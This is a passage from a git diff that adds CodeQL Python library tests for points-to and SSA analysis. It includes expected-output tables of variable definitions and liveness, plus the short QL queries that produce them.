ScopeEntryDefinition | +| d_globals.py:96 | Global Variable g2 | ScopeEntryDefinition | +| d_globals.py:96 | Global Variable g3 | ScopeEntryDefinition | +| d_globals.py:96 | Global Variable g4 | ScopeEntryDefinition | +| d_globals.py:96 | Global Variable z | ScopeEntryDefinition | +| d_globals.py:96 | Local Variable inner | AssignmentDefinition | +| d_globals.py:98 | Global Variable glob | AssignmentDefinition | +| d_globals.py:101 | Global Variable g1 | ScopeEntryDefinition | +| d_globals.py:101 | Global Variable g2 | ScopeEntryDefinition | +| d_globals.py:101 | Global Variable g3 | ScopeEntryDefinition | +| d_globals.py:101 | Global Variable g4 | ScopeEntryDefinition | +| d_globals.py:101 | Global Variable glob | ScopeEntryDefinition | +| d_globals.py:101 | Global Variable z | ScopeEntryDefinition | +| d_globals.py:101 | Local Variable otherInner | AssignmentDefinition | +| d_globals.py:104 | Global Variable g1 | CallsiteRefinement | +| d_globals.py:104 | Global Variable g2 | CallsiteRefinement | +| d_globals.py:104 | Global Variable g3 | CallsiteRefinement | +| d_globals.py:104 | Global Variable g4 | CallsiteRefinement | +| d_globals.py:104 | Global Variable glob | CallsiteRefinement | +| d_globals.py:104 | Global Variable z | CallsiteRefinement | +| d_globals.py:107 | Global Variable g1 | ScopeEntryDefinition | +| d_globals.py:107 | Global Variable g2 | ScopeEntryDefinition | +| d_globals.py:107 | Global Variable g3 | ScopeEntryDefinition | +| d_globals.py:107 | Global Variable g4 | ScopeEntryDefinition | +| d_globals.py:107 | Global Variable glob | ScopeEntryDefinition | +| d_globals.py:107 | Global Variable redefine | AssignmentDefinition | +| d_globals.py:107 | Global Variable z | ScopeEntryDefinition | +| d_globals.py:110 | Global Variable z | AssignmentDefinition | +| d_globals.py:113 | Global Variable glob | AssignmentDefinition | +| d_globals.py:118 | Global Variable D | AssignmentDefinition | +| d_globals.py:120 | Global Variable g1 | ScopeEntryDefinition | +| d_globals.py:120 | Global Variable g2 | ScopeEntryDefinition | +| d_globals.py:120 | Global Variable g3 | ScopeEntryDefinition | +| d_globals.py:120 | Global Variable g4 | ScopeEntryDefinition | +| d_globals.py:120 | Global Variable glob | ScopeEntryDefinition | +| d_globals.py:120 | Global Variable z | ScopeEntryDefinition | +| d_globals.py:120 | Local Variable __init__ | AssignmentDefinition | +| d_globals.py:120 | Local Variable self | ParameterDefinition | +| d_globals.py:123 | Global Variable dict | ScopeEntryDefinition | +| d_globals.py:123 | Global Variable g1 | ScopeEntryDefinition | +| d_globals.py:123 | Global Variable g2 | ScopeEntryDefinition | +| d_globals.py:123 | Global Variable g3 | ScopeEntryDefinition | +| d_globals.py:123 | Global Variable g4 | ScopeEntryDefinition | +| d_globals.py:123 | Global Variable glob | ScopeEntryDefinition | +| d_globals.py:123 | Global Variable z | ScopeEntryDefinition | +| d_globals.py:123 | Local Variable foo | AssignmentDefinition | +| d_globals.py:123 | Local Variable self | ParameterDefinition | +| d_globals.py:126 | Global Variable g1 | ScopeEntryDefinition | +| d_globals.py:126 | Global Variable g2 | ScopeEntryDefinition | +| d_globals.py:126 | Global Variable g3 | ScopeEntryDefinition | +| d_globals.py:126 | Global Variable g4 | ScopeEntryDefinition | +| d_globals.py:126 | Global Variable glob | ScopeEntryDefinition | +| d_globals.py:126 | Global Variable use_list_attribute | AssignmentDefinition | +| d_globals.py:126 | Global Variable z | ScopeEntryDefinition | +| d_globals.py:127 | Local Variable l | AssignmentDefinition | +| d_globals.py:128 | Global Variable g1 | CallsiteRefinement | +| d_globals.py:128 | Global Variable g2 | CallsiteRefinement | +| d_globals.py:128 | Global Variable g3 | CallsiteRefinement | +| d_globals.py:128 | Global Variable g4 | CallsiteRefinement | +| d_globals.py:128 | Global Variable glob | CallsiteRefinement | +| d_globals.py:128 | Global Variable z | CallsiteRefinement | +| d_globals.py:128 | Local Variable l | ArgumentRefinement | +| g_class_init.py:0 | Global Variable __name__ | ScopeEntryDefinition | +| g_class_init.py:0 | Global Variable __package__ | ScopeEntryDefinition | +| g_class_init.py:3 | Global Variable C | AssignmentDefinition | +| g_class_init.py:5 | Local Variable __init__ | AssignmentDefinition | +| g_class_init.py:5 | Local Variable self | ParameterDefinition | +| g_class_init.py:6 | Local Variable self | SelfCallsiteRefinement | +| g_class_init.py:7 | Local Variable self | AttributeAssignment | +| g_class_init.py:9 | Local Variable _init | AssignmentDefinition | +| g_class_init.py:9 | Local Variable self | ParameterDefinition | +| g_class_init.py:10 | Local Variable self | AttributeAssignment | +| g_class_init.py:11 | Local Variable self | SelfCallsiteRefinement | +| g_class_init.py:13 | Local Variable _init2 | AssignmentDefinition | +| g_class_init.py:13 | Local Variable self | ParameterDefinition | +| g_class_init.py:14 | Local Variable self | AttributeAssignment | +| g_class_init.py:16 | Local Variable method | AssignmentDefinition | +| g_class_init.py:16 | Local Variable self | ParameterDefinition | +| g_class_init.py:19 | Local Variable self | PyEdgeRefinement | +| g_class_init.py:20 | Local Variable self | PhiFunction | +| g_class_init.py:20 | Local Variable self | PyEdgeRefinement | +| g_class_init.py:24 | Global Variable Oddities | AssignmentDefinition | +| g_class_init.py:24 | Local Variable float | ScopeEntryDefinition | +| g_class_init.py:24 | Local Variable int | ScopeEntryDefinition | +| g_class_init.py:26 | Local Variable int | AssignmentDefinition | +| g_class_init.py:27 | Local Variable float | AssignmentDefinition | +| g_class_init.py:28 | Local Variable l | AssignmentDefinition | +| g_class_init.py:29 | Local Variable h | AssignmentDefinition | +| g_class_init.py:32 | Global Variable D | AssignmentDefinition | +| g_class_init.py:34 | Global Variable D | ScopeEntryDefinition | +| g_class_init.py:34 | Local Variable __init__ | AssignmentDefinition | +| g_class_init.py:34 | Local Variable self | ParameterDefinition | +| g_class_init.py:35 | Global Variable D | ArgumentRefinement | +| g_class_init.py:42 | Global Variable V2 | AssignmentDefinition | +| g_class_init.py:43 | Global Variable V3 | AssignmentDefinition | +| g_class_init.py:45 | Global Variable E | AssignmentDefinition | +| g_class_init.py:46 | Global Variable V2 | ScopeEntryDefinition | +| g_class_init.py:46 | Global Variable V3 | ScopeEntryDefinition | +| g_class_init.py:46 | Local Variable __init__ | AssignmentDefinition | +| g_class_init.py:46 | Local Variable c | ParameterDefinition | +| g_class_init.py:46 | Local Variable c | PhiFunction | +| g_class_init.py:46 | Local Variable self | ParameterDefinition | +| g_class_init.py:46 | Local Variable self | PhiFunction | +| g_class_init.py:48 | Local Variable c | PyEdgeRefinement | +| g_class_init.py:48 | Local Variable self | AttributeAssignment | +| g_class_init.py:50 | Local Variable c | PyEdgeRefinement | +| g_class_init.py:50 | Local Variable self | AttributeAssignment | +| g_class_init.py:52 | Global Variable V2 | ScopeEntryDefinition | +| g_class_init.py:52 | Local Variable meth | AssignmentDefinition | +| g_class_init.py:52 | Local Variable self | ParameterDefinition | +| g_class_init.py:52 | Local Variable self | PhiFunction | +| g_class_init.py:52 | Local Variable self | PyEdgeRefinement | +| g_class_init.py:54 | Local Variable self | PyEdgeRefinement | +| k_getsetattr.py:0 | Global Variable __name__ | ScopeEntryDefinition | +| k_getsetattr.py:0 | Global Variable __package__ | ScopeEntryDefinition | +| k_getsetattr.py:4 | Global Variable C | AssignmentDefinition | +| k_getsetattr.py:6 | Local Variable meth1 | AssignmentDefinition | +| k_getsetattr.py:6 | Local Variable self | ParameterDefinition | +| k_getsetattr.py:7 | Local Variable self | ArgumentRefinement | +| k_getsetattr.py:8 | Local Variable self | ArgumentRefinement | +| k_getsetattr.py:9 | Local Variable self | ArgumentRefinement | +| k_getsetattr.py:10 | Local Variable self | ArgumentRefinement | +| k_getsetattr.py:12 | Local Variable meth2 | AssignmentDefinition | +| k_getsetattr.py:12 | Local Variable self | ParameterDefinition | +| k_getsetattr.py:13 | Local Variable self | ArgumentRefinement | +| k_getsetattr.py:14 | Local Variable self | ArgumentRefinement | +| k_getsetattr.py:15 | Local Variable self | SelfCallsiteRefinement | +| k_getsetattr.py:16 | Local Variable self | ArgumentRefinement | +| k_getsetattr.py:17 | Local Variable self | ArgumentRefinement | +| k_getsetattr.py:18 | Local Variable self | ArgumentRefinement | +| k_getsetattr.py:21 | Global Variable C | ScopeEntryDefinition | +| k_getsetattr.py:21 | Global Variable k | AssignmentDefinition | +| k_getsetattr.py:21 | Local Variable cond | ParameterDefinition | +| k_getsetattr.py:22 | Local Variable c1 | AssignmentDefinition | +| k_getsetattr.py:23 | Local Variable c2 | AssignmentDefinition | +| k_getsetattr.py:24 | Local Variable c3 | AssignmentDefinition | +| k_getsetattr.py:25 | Local Variable c1 | AttributeAssignment | +| k_getsetattr.py:27 | Local Variable c2 | AttributeAssignment | +| k_getsetattr.py:27 | Local Variable cond | PyEdgeRefinement | +| k_getsetattr.py:28 | Local Variable c2 | PhiFunction | +| k_getsetattr.py:28 | Local Variable cond | PhiFunction | +| k_getsetattr.py:28 | Local Variable cond | PyEdgeRefinement | +| k_getsetattr.py:31 | Local Variable c3 | AttributeAssignment | diff --git a/python/ql/test/library-tests/PointsTo/new/Definitions.ql b/python/ql/test/library-tests/PointsTo/new/Definitions.ql new file mode 100644 index 00000000000..166e9391868 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/Definitions.ql @@ -0,0 +1,8 @@ + +import python + +import Util + +from EssaDefinition def, Variable v +where v = def.getSourceVariable() +select locate(def.getLocation(), "abdgk"), v.toString(), def.getAQlClass() \ No newline at end of file diff --git a/python/ql/test/library-tests/PointsTo/new/Live.expected b/python/ql/test/library-tests/PointsTo/new/Live.expected new file mode 100644 index 00000000000..a0a70d136c7 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/Live.expected @@ -0,0 +1,424 @@ +| Global Variable Exception | b_condition.py:0 | entry | +| Global Variable Exception | b_condition.py:42 | exit | +| Global Variable Exception | b_condition.py:43 | entry | +| Global Variable Exception | b_condition.py:44 | exit | +| Global Variable Exception | b_condition.py:47 | entry | +| Global Variable Exception | b_condition.py:101 | entry | +| Global Variable Exception | b_condition.py:102 | exit | +| Global Variable Exception | b_condition.py:104 | entry | +| Global Variable Exception | b_condition.py:104 | exit | +| Global Variable Exception | b_condition.py:105 | entry | +| Global Variable Exception | b_condition.py:105 | exit | +| Global Variable Exception | b_condition.py:106 | entry | +| Global Variable TypeError | b_condition.py:0 | entry | +| Global Variable TypeError | b_condition.py:42 | exit | +| Global Variable TypeError | b_condition.py:43 | entry | +| Global Variable TypeError | b_condition.py:44 | exit | +| Global Variable TypeError | b_condition.py:47 | entry | +| Global Variable TypeError | b_condition.py:101 | entry | +| Global Variable TypeError | b_condition.py:102 | exit | +| Global Variable TypeError | b_condition.py:103 | entry | +| Global Variable __name__ | b_condition.py:42 | exit | +| Global Variable __name__ | b_condition.py:43 | entry | +| Global Variable __name__ | b_condition.py:44 | exit | +| Global Variable __name__ | b_condition.py:47 | entry | +| Global Variable __package__ | b_condition.py:42 | exit | +| Global Variable __package__ | b_condition.py:43 | entry | +| Global Variable __package__ | b_condition.py:44 | exit | +| Global Variable __package__ | b_condition.py:47 | entry | +| Global Variable callable | b_condition.py:0 | entry | +| Global Variable callable | b_condition.py:42 | exit | +| Global Variable callable | b_condition.py:43 | entry | +| Global Variable callable | b_condition.py:44 | exit | +| Global Variable callable | b_condition.py:47 | entry | +| Global Variable callable | b_condition.py:81 | entry | +| Global Variable cond | b_condition.py:0 | entry | +| Global Variable cond | b_condition.py:4 | entry | +| Global Variable cond | b_condition.py:5 | entry | +| Global Variable cond | b_condition.py:5 | exit | +| Global Variable cond | b_condition.py:7 | exit | +| Global Variable cond | b_condition.py:8 | entry | +| Global Variable cond | b_condition.py:8 | exit | +| Global Variable cond | b_condition.py:9 | entry | +| Global Variable cond | b_condition.py:11 | entry | +| Global Variable cond | b_condition.py:11 | exit | +| Global Variable cond | b_condition.py:13 | exit | +| Global Variable cond | b_condition.py:14 | entry | +| Global Variable cond | b_condition.py:14 | exit | +| Global Variable cond | b_condition.py:15 | entry | +| Global Variable cond | b_condition.py:17 | entry | +| Global Variable cond | b_condition.py:17 | exit | +| Global Variable cond | b_condition.py:19 | exit | +| Global Variable cond | b_condition.py:20 | entry | +| Global Variable cond | b_condition.py:20 | exit | +| Global Variable cond | b_condition.py:21 | entry | +| Global Variable cond | b_condition.py:23 | entry | +| Global Variable cond | b_condition.py:23 | exit | +| Global Variable cond | b_condition.py:25 | entry | +| Global Variable cond | b_condition.py:25 | exit | +| Global Variable cond | b_condition.py:27 | exit | +| Global Variable cond | b_condition.py:28 | entry | +| Global Variable cond | b_condition.py:28 | exit | +| Global Variable cond | b_condition.py:29 | entry | +| Global Variable cond | b_condition.py:42 | exit | +| Global Variable cond | b_condition.py:43 | entry | +| Global Variable cond | b_condition.py:44 | exit | +| Global Variable cond | b_condition.py:47 | entry | +| Global Variable cond | b_condition.py:69 | entry | +| Global Variable double_attr_check | b_condition.py:42 | exit | +| Global Variable double_attr_check | b_condition.py:43 | entry | +| Global Variable f | b_condition.py:42 | exit | +| Global Variable f | b_condition.py:43 | entry | +| Global Variable f | b_condition.py:44 | exit | +| Global Variable f | b_condition.py:47 | entry | +| Global Variable g | b_condition.py:42 | exit | +| Global Variable g | b_condition.py:43 | entry | +| Global Variable h | b_condition.py:42 | exit | +| Global Variable h | b_condition.py:43 | entry | +| Global Variable int | b_condition.py:0 | entry | +| Global Variable int | b_condition.py:4 | entry | +| Global Variable int | b_condition.py:5 | entry | +| Global Variable int | b_condition.py:5 | exit | +| Global Variable int | b_condition.py:7 | exit | +| Global Variable int | b_condition.py:8 | entry | +| Global Variable int | b_condition.py:8 | exit | +| Global Variable int | b_condition.py:9 | entry | +| Global Variable int | b_condition.py:11 | entry | +| Global Variable int | b_condition.py:11 | exit | +| Global Variable int | b_condition.py:13 | exit | +| Global Variable int | b_condition.py:14 | entry | +| Global Variable int | b_condition.py:14 | exit | +| Global Variable int | b_condition.py:15 | entry | +| Global Variable int | b_condition.py:17 | entry | +| Global Variable int | b_condition.py:17 | exit | +| Global Variable int | b_condition.py:19 | exit | +| Global Variable int | b_condition.py:20 | entry | +| Global Variable int | b_condition.py:20 | exit | +| Global Variable int | b_condition.py:21 | entry | +| Global Variable int | b_condition.py:23 | entry | +| Global Variable int | b_condition.py:23 | exit | +| Global Variable int | b_condition.py:25 | entry | +| Global Variable int | b_condition.py:25 | exit | +| Global Variable int | b_condition.py:27 | exit | +| Global Variable int | b_condition.py:28 | entry | +| Global Variable int | b_condition.py:28 | exit | +| Global Variable int | b_condition.py:29 | entry | +| Global Variable int | b_condition.py:31 | entry | +| Global Variable int | b_condition.py:31 | exit | +| Global Variable int | b_condition.py:32 | exit | +| Global Variable int | b_condition.py:33 | entry | +| Global Variable int | b_condition.py:33 | exit | +| Global Variable int | b_condition.py:34 | entry | +| Global Variable int | b_condition.py:42 | exit | +| Global Variable int | b_condition.py:43 | entry | +| Global Variable int | b_condition.py:44 | exit | +| Global Variable int | b_condition.py:47 | entry | +| Global Variable isinstance | b_condition.py:0 | entry | +| Global Variable isinstance | b_condition.py:4 | entry | +| Global Variable isinstance | b_condition.py:5 | entry | +| Global Variable isinstance | b_condition.py:5 | exit | +| Global Variable isinstance | b_condition.py:7 | exit | +| Global Variable isinstance | b_condition.py:8 | entry | +| Global Variable isinstance | b_condition.py:8 | exit | +| Global Variable isinstance | b_condition.py:9 | entry | +| Global Variable isinstance | b_condition.py:11 | entry | +| Global Variable isinstance | b_condition.py:11 | exit | +| Global Variable isinstance | b_condition.py:13 | exit | +| Global Variable isinstance | b_condition.py:14 | entry | +| Global Variable isinstance | b_condition.py:14 | exit | +| Global Variable isinstance | b_condition.py:15 | entry | +| Global Variable isinstance | b_condition.py:17 | entry | +| Global Variable isinstance | b_condition.py:17 | exit | +| Global Variable isinstance | b_condition.py:19 | exit | +| Global Variable isinstance | b_condition.py:20 | entry | +| Global Variable isinstance | b_condition.py:20 | exit | +| Global Variable isinstance | b_condition.py:21 | entry | +| Global Variable isinstance | b_condition.py:23 | entry | +| Global Variable isinstance | b_condition.py:23 | exit | +| Global Variable isinstance | b_condition.py:25 | entry | +| Global Variable isinstance | b_condition.py:25 | exit | +| Global Variable isinstance | b_condition.py:27 | exit | +| Global Variable isinstance | b_condition.py:28 | entry | +| Global Variable isinstance | b_condition.py:28 | exit | +| Global Variable isinstance | b_condition.py:29 | entry | +| Global Variable isinstance | b_condition.py:31 | entry | +| Global Variable isinstance | b_condition.py:31 | exit | +| Global Variable isinstance | b_condition.py:32 | exit | +| Global Variable isinstance | b_condition.py:33 | entry | +| Global Variable isinstance | b_condition.py:33 | exit | +| Global Variable isinstance | b_condition.py:34 | entry | +| Global Variable isinstance | b_condition.py:42 | exit | +| Global Variable isinstance | b_condition.py:43 | entry | +| Global Variable isinstance | b_condition.py:44 | exit | +| Global Variable isinstance | b_condition.py:47 | entry | +| Global Variable isinstance | b_condition.py:101 | entry | +| Global Variable k | b_condition.py:42 | exit | +| Global Variable k | b_condition.py:43 | entry | +| Global Variable list | b_condition.py:0 | entry | +| Global Variable list | b_condition.py:42 | exit | +| Global Variable list | b_condition.py:43 | entry | +| Global Variable list | b_condition.py:44 | exit | +| Global Variable list | b_condition.py:47 | entry | +| Global Variable list | b_condition.py:101 | entry | +| Global Variable loop | b_condition.py:42 | exit | +| Global Variable loop | b_condition.py:43 | entry | +| Global Variable not_or_not | b_condition.py:42 | exit | +| Global Variable not_or_not | b_condition.py:43 | entry | +| Global Variable object | b_condition.py:0 | entry | +| Global Variable object | b_condition.py:42 | exit | +| Global Variable object | b_condition.py:43 | entry | +| Global Variable object | b_condition.py:44 | exit | +| Global Variable object | b_condition.py:47 | entry | +| Global Variable object | b_condition.py:75 | entry | +| Global Variable object | b_condition.py:77 | exit | +| Global Variable object | b_condition.py:78 | entry | +| Global Variable odasa6261 | b_condition.py:42 | exit | +| Global Variable odasa6261 | b_condition.py:43 | entry | +| Global Variable seq | b_condition.py:0 | entry | +| Global Variable seq | b_condition.py:42 | exit | +| Global Variable seq | b_condition.py:43 | entry | +| Global Variable seq | b_condition.py:44 | exit | +| Global Variable seq | b_condition.py:47 | entry | +| Global Variable seq | b_condition.py:61 | entry | +| Global Variable seq | b_condition.py:62 | exit | +| Global Variable seq | b_condition.py:64 | entry | +| Global Variable seq | b_condition.py:64 | exit | +| Global Variable seq | b_condition.py:65 | entry | +| Global Variable seq | b_condition.py:65 | exit | +| Global Variable seq | b_condition.py:66 | entry | +| Global Variable split_bool1 | b_condition.py:42 | exit | +| Global Variable split_bool1 | b_condition.py:43 | entry | +| Global Variable thing | b_condition.py:0 | entry | +| Global Variable thing | b_condition.py:42 | exit | +| Global Variable thing | b_condition.py:43 | entry | +| Global Variable thing | b_condition.py:44 | exit | +| Global Variable thing | b_condition.py:47 | entry | +| Global Variable tuple | b_condition.py:0 | entry | +| Global Variable tuple | b_condition.py:42 | exit | +| Global Variable tuple | b_condition.py:43 | entry | +| Global Variable tuple | b_condition.py:44 | exit | +| Global Variable tuple | b_condition.py:47 | entry | +| Global Variable tuple | b_condition.py:101 | entry | +| Global Variable type | b_condition.py:0 | entry | +| Global Variable type | b_condition.py:42 | exit | +| Global Variable type | b_condition.py:43 | entry | +| Global Variable type | b_condition.py:44 | exit | +| Global Variable type | b_condition.py:47 | entry | +| Global Variable type | b_condition.py:75 | entry | +| Global Variable unknown | b_condition.py:0 | entry | +| Global Variable unknown | b_condition.py:4 | entry | +| Global Variable unknown | b_condition.py:5 | entry | +| Global Variable unknown | b_condition.py:5 | exit | +| Global Variable unknown | b_condition.py:7 | exit | +| Global Variable unknown | b_condition.py:8 | entry | +| Global Variable unknown | b_condition.py:8 | exit | +| Global Variable unknown | b_condition.py:9 | entry | +| Global Variable unknown | b_condition.py:11 | entry | +| Global Variable unknown | b_condition.py:11 | exit | +| Global Variable unknown | b_condition.py:13 | exit | +| Global Variable unknown | b_condition.py:14 | entry | +| Global Variable unknown | b_condition.py:14 | exit | +| Global Variable unknown | b_condition.py:15 | entry | +| Global Variable unknown | b_condition.py:17 | entry | +| Global Variable unknown | b_condition.py:17 | exit | +| Global Variable unknown | b_condition.py:19 | exit | +| Global Variable unknown | b_condition.py:20 | entry | +| Global Variable unknown | b_condition.py:20 | exit | +| Global Variable unknown | b_condition.py:21 | entry | +| Global Variable unknown | b_condition.py:23 | entry | +| Global Variable unknown | b_condition.py:23 | exit | +| Global Variable unknown | b_condition.py:25 | entry | +| Global Variable unknown | b_condition.py:25 | exit | +| Global Variable unknown | b_condition.py:27 | exit | +| Global Variable unknown | b_condition.py:28 | entry | +| Global Variable unknown | b_condition.py:28 | exit | +| Global Variable unknown | b_condition.py:29 | entry | +| Global Variable unknown | b_condition.py:31 | entry | +| Global Variable unknown | b_condition.py:31 | exit | +| Global Variable unknown | b_condition.py:42 | exit | +| Global Variable unknown | b_condition.py:43 | entry | +| Global Variable unknown | b_condition.py:44 | exit | +| Global Variable unknown | b_condition.py:47 | entry | +| Global Variable unknown | b_condition.py:69 | entry | +| Global Variable unknown | b_condition.py:70 | entry | +| Global Variable unknown | b_condition.py:70 | exit | +| Global Variable use | b_condition.py:0 | entry | +| Global Variable use | b_condition.py:4 | entry | +| Global Variable use | b_condition.py:5 | entry | +| Global Variable use | b_condition.py:5 | exit | +| Global Variable use | b_condition.py:7 | exit | +| Global Variable use | b_condition.py:8 | entry | +| Global Variable use | b_condition.py:8 | exit | +| Global Variable use | b_condition.py:9 | entry | +| Global Variable use | b_condition.py:11 | entry | +| Global Variable use | b_condition.py:11 | exit | +| Global Variable use | b_condition.py:13 | exit | +| Global Variable use | b_condition.py:14 | entry | +| Global Variable use | b_condition.py:14 | exit | +| Global Variable use | b_condition.py:15 | entry | +| Global Variable use | b_condition.py:17 | entry | +| Global Variable use | b_condition.py:17 | exit | +| Global Variable use | b_condition.py:19 | exit | +| Global Variable use | b_condition.py:20 | entry | +| Global Variable use | b_condition.py:20 | exit | +| Global Variable use | b_condition.py:21 | entry | +| Global Variable use | b_condition.py:23 | entry | +| Global Variable use | b_condition.py:23 | exit | +| Global Variable use | b_condition.py:25 | entry | +| Global Variable use | b_condition.py:25 | exit | +| Global Variable use | b_condition.py:27 | exit | +| Global Variable use | b_condition.py:28 | entry | +| Global Variable use | b_condition.py:28 | exit | +| Global Variable use | b_condition.py:29 | entry | +| Global Variable use | b_condition.py:31 | entry | +| Global Variable use | b_condition.py:31 | exit | +| Global Variable use | b_condition.py:32 | exit | +| Global Variable use | b_condition.py:33 | entry | +| Global Variable use | b_condition.py:33 | exit | +| Global Variable use | b_condition.py:34 | entry | +| Global Variable use | b_condition.py:36 | entry | +| Global Variable use | b_condition.py:36 | exit | +| Global Variable use | b_condition.py:42 | exit | +| Global Variable use | b_condition.py:43 | entry | +| Global Variable use | b_condition.py:44 | exit | +| Global Variable use | b_condition.py:47 | entry | +| Global Variable use | b_condition.py:55 | entry | +| Global Variable use | b_condition.py:56 | entry | +| Global Variable use | b_condition.py:56 | exit | +| Global Variable use | b_condition.py:57 | exit | +| Global Variable use | b_condition.py:58 | entry | +| Global Variable use | b_condition.py:58 | exit | +| Global Variable use | b_condition.py:75 | entry | +| Global Variable use | b_condition.py:77 | exit | +| Global Variable use | b_condition.py:78 | entry | +| Global Variable use | b_condition.py:78 | exit | +| Global Variable use | b_condition.py:79 | entry | +| Global Variable use | b_condition.py:87 | entry | +| Global Variable use | b_condition.py:88 | entry | +| Global Variable use | b_condition.py:88 | exit | +| Global Variable use | b_condition.py:90 | entry | +| Global Variable use | b_condition.py:90 | exit | +| Global Variable v2 | b_condition.py:42 | exit | +| Global Variable v2 | b_condition.py:43 | entry | +| Global Variable v2 | b_condition.py:44 | exit | +| Global Variable v2 | b_condition.py:47 | entry | +| Local Variable a | b_condition.py:102 | exit | +| Local Variable a | b_condition.py:104 | entry | +| Local Variable a | b_condition.py:104 | exit | +| Local Variable a | b_condition.py:105 | entry | +| Local Variable a | b_condition.py:105 | exit | +| Local Variable a | b_condition.py:107 | entry | +| Local Variable b | b_condition.py:71 | exit | +| Local Variable b | b_condition.py:72 | exit | +| Local Variable b | b_condition.py:73 | entry | +| Local Variable bar | b_condition.py:81 | entry | +| Local Variable bar | b_condition.py:82 | exit | +| Local Variable bar | b_condition.py:83 | exit | +| Local Variable foo | b_condition.py:81 | entry | +| Local Variable foo | b_condition.py:82 | exit | +| Local Variable foo | b_condition.py:83 | entry | +| Local Variable foo | b_condition.py:83 | exit | +| Local Variable seq | b_condition.py:55 | entry | +| Local Variable seq | b_condition.py:56 | entry | +| Local Variable seq | b_condition.py:56 | exit | +| Local Variable seq | b_condition.py:57 | exit | +| Local Variable seq | b_condition.py:58 | entry | +| Local Variable seq | b_condition.py:58 | exit | +| Local Variable t | b_condition.py:77 | exit | +| Local Variable t | b_condition.py:78 | exit | +| Local Variable t | b_condition.py:79 | entry | +| Local Variable v | b_condition.py:55 | entry | +| Local Variable v | b_condition.py:56 | entry | +| Local Variable v | b_condition.py:56 | exit | +| Local Variable v | b_condition.py:57 | exit | +| Local Variable v | b_condition.py:58 | entry | +| Local Variable v | b_condition.py:58 | exit | +| Local Variable x | b_condition.py:7 | exit | +| Local Variable x | b_condition.py:8 | exit | +| Local Variable x | b_condition.py:9 | entry | +| Local Variable x | b_condition.py:13 | exit | +| Local Variable x | b_condition.py:14 | exit | +| Local Variable x | b_condition.py:15 | entry | +| Local Variable x | b_condition.py:19 | exit | +| Local Variable x | b_condition.py:20 | exit | +| Local Variable x | b_condition.py:21 | entry | +| Local Variable x | b_condition.py:25 | entry | +| Local Variable x | b_condition.py:25 | exit | +| Local Variable x | b_condition.py:27 | exit | +| Local Variable x | b_condition.py:28 | exit | +| Local Variable x | b_condition.py:29 | entry | +| Local Variable x | b_condition.py:32 | exit | +| Local Variable x | b_condition.py:33 | exit | +| Local Variable x | b_condition.py:34 | entry | +| Local Variable x | b_condition.py:36 | entry | +| Local Variable x | b_condition.py:36 | exit | +| Local Variable x | b_condition.py:50 | entry | +| Local Variable x | b_condition.py:51 | exit | +| Local Variable x | b_condition.py:52 | entry | +| Local Variable x | b_condition.py:52 | exit | +| Local Variable x | b_condition.py:61 | entry | +| Local Variable x | b_condition.py:62 | exit | +| Local Variable x | b_condition.py:63 | entry | +| Local Variable x | b_condition.py:63 | exit | +| Local Variable x | b_condition.py:64 | entry | +| Local Variable x | b_condition.py:64 | exit | +| Local Variable x | b_condition.py:65 | entry | +| Local Variable x | b_condition.py:65 | exit | +| Local Variable x | b_condition.py:66 | entry | +| Local Variable x | b_condition.py:66 | exit | +| Local Variable x | b_condition.py:67 | entry | +| Local Variable x | b_condition.py:67 | exit | +| Local Variable x | b_condition.py:88 | entry | +| Local Variable x | b_condition.py:88 | exit | +| Local Variable x | b_condition.py:90 | entry | +| Local Variable x | b_condition.py:90 | exit | +| Local Variable y | b_condition.py:5 | entry | +| Local Variable y | b_condition.py:5 | exit | +| Local Variable y | b_condition.py:7 | exit | +| Local Variable y | b_condition.py:8 | entry | +| Local Variable y | b_condition.py:8 | exit | +| Local Variable y | b_condition.py:9 | entry | +| Local Variable y | b_condition.py:11 | entry | +| Local Variable y | b_condition.py:11 | exit | +| Local Variable y | b_condition.py:13 | exit | +| Local Variable y | b_condition.py:14 | entry | +| Local Variable y | b_condition.py:14 | exit | +| Local Variable y | b_condition.py:15 | entry | +| Local Variable y | b_condition.py:17 | entry | +| Local Variable y | b_condition.py:17 | exit | +| Local Variable y | b_condition.py:19 | exit | +| Local Variable y | b_condition.py:20 | entry | +| Local Variable y | b_condition.py:20 | exit | +| Local Variable y | b_condition.py:21 | entry | +| Local Variable y | b_condition.py:23 | entry | +| Local Variable y | b_condition.py:23 | exit | +| Local Variable y | b_condition.py:25 | entry | +| Local Variable y | b_condition.py:25 | exit | +| Local Variable y | b_condition.py:27 | exit | +| Local Variable y | b_condition.py:28 | entry | +| Local Variable y | b_condition.py:28 | exit | +| Local Variable y | b_condition.py:29 | entry | +| Local Variable y | b_condition.py:31 | entry | +| Local Variable y | b_condition.py:31 | exit | +| Local Variable y | b_condition.py:32 | exit | +| Local Variable y | b_condition.py:33 | entry | +| Local Variable y | b_condition.py:33 | exit | +| Local Variable y | b_condition.py:34 | entry | +| Local Variable y | b_condition.py:36 | entry | +| Local Variable y | b_condition.py:36 | exit | +| Local Variable y | b_condition.py:61 | entry | +| Local Variable y | b_condition.py:62 | exit | +| Local Variable y | b_condition.py:63 | entry | +| Local Variable y | b_condition.py:63 | exit | +| Local Variable y | b_condition.py:64 | entry | +| Local Variable y | b_condition.py:64 | exit | +| Local Variable y | b_condition.py:65 | entry | +| Local Variable y | b_condition.py:65 | exit | +| Local Variable y | b_condition.py:66 | entry | +| Local Variable y | b_condition.py:66 | exit | +| Local Variable y | b_condition.py:67 | entry | +| Local Variable y | b_condition.py:67 | exit | +| Local Variable y | b_condition.py:88 | entry | +| Local Variable y | b_condition.py:88 | exit | +| Local Variable y | b_condition.py:90 | entry | +| Local Variable y | b_condition.py:90 | exit | diff --git a/python/ql/test/library-tests/PointsTo/new/Live.ql b/python/ql/test/library-tests/PointsTo/new/Live.ql new file mode 100644 index 00000000000..ffd60fe5e6b --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/Live.ql @@ -0,0 +1,15 @@ + +import python +import semmle.dataflow.SSA +import semmle.dataflow.SsaCompute + +import Util + +from Variable var, BasicBlock b, ControlFlowNode loc, string end +where +Liveness::liveAtEntry(var, b) and end = "entry" and loc = b.getNode(0) +or +Liveness::liveAtExit(var, b) and end = "exit" and loc = b.getLastNode() + + +select var, locate(loc.getLocation(), "b"), end \ No newline at end of file diff --git a/python/ql/test/library-tests/PointsTo/new/NameSpace.expected b/python/ql/test/library-tests/PointsTo/new/NameSpace.expected new file mode 100644 index 00000000000..5f84595de0a --- /dev/null +++ 